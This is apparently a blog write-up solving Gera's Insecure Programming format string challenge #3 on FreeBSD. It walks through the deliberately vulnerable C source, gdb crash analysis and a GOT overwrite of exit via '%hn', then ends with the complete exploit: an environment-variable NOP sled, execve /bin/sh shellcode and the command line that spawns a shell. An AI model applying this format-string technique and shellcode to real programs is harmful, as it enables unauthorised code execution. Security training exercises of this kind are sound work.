Gera's Insecure Programming Format String #3



This gera’s insecure programming challenge is solvable (pwnable) in a similar fashion as my previous post. The challenge’s source is posted. The challenge can be found at gera’s format string 3

/* fs3.c                                       *
 * specially crafted to feed your brain by riq */

/* Not enough resources?		       */

int main(int argv,char **argc) {
        char buf[256];

        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}

As shown in the code, we will be able to write two bytes (“%hn”). The targeted platform, once again, is FreeBSD.

> uname -irs
FreeBSD 8.2-RELEASE GENERIC
> ./fs3 AAAA
> ./fs3 AAAABBBB
Segmentation fault (core dumped)
> gdb -q fs3 fs3.core
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816f329 <open+11965>:	mov    %dx,(%eax)
(gdb) printf "%#x %#x\n", $eax, $edx
0x42424242 0xa
(gdb) q

We control where we can write and what to write. The GOT technique is a good option that can be used to exploit this challenge. The READELF(1) revealed the memory offset of all the functions dynamically linked to the compiled binary.

> readelf -r fs3

Relocation section '.rel.plt' at offset 0x298 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496ac  00000107 R_386_JUMP_SLOT   00000000   _init_tls
080496b0  00000407 R_386_JUMP_SLOT   00000000   snprintf
080496b4  00000507 R_386_JUMP_SLOT   00000000   exit
080496b8  00000707 R_386_JUMP_SLOT   00000000   atexit

Since the program ends after the snprintf call, we can use exit’s address (0x080496b4). We can only write two bytes (0xffff ~ 65535). If the payload is going to be in an environmental variable, the most significant byte would be 0xbf——.

> ./fs3 aaaa`perl -e 'print "\xb6\x96\x04\x08"'`
Segmentation fault (core dumped)
> gdb -q fs3 fs3.core 
..snip..
#0  0x000a8302 in ?? ()
(gdb) q
> setenv SHELLCODE `perl -e 'print "\x90"x100000 ."\xcc"x1000'`

A large enough payload is needed to make sure that when exit is called it lands somewhere in the NOP-sled. The envirnometal variable was founded at 0xbfbe6910. As mention previously, we need to write the value 0xbfbe to 0x080496b6.

> gdb -q
(gdb) p 0xbfbe-0x000a
$1 = 49076
(gdb) q
> ./fs3 aaaa`perl -e 'print "\xb6\x96\x04\x08"."A"x49076'`
Trace/BPT trap (core dumped)
> gdb fs3 fs3.core
..snip..
#0  0xbfbfeb88 in ?? ()
(gdb) x/i $eip
0xbfbfeb88:	int3   
(gdb) q

Now we simply need to replace the “\xcc” with our shellcode and watch the shell spawn.

> setenv SHELLCODE `perl -e 'print "\x90"x100000 ."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"'`
> ./fs3 aaaa`perl -e 'print "\xb6\x96\x04\x08"."A"x49076'`                      
$ 

Again, bustication completed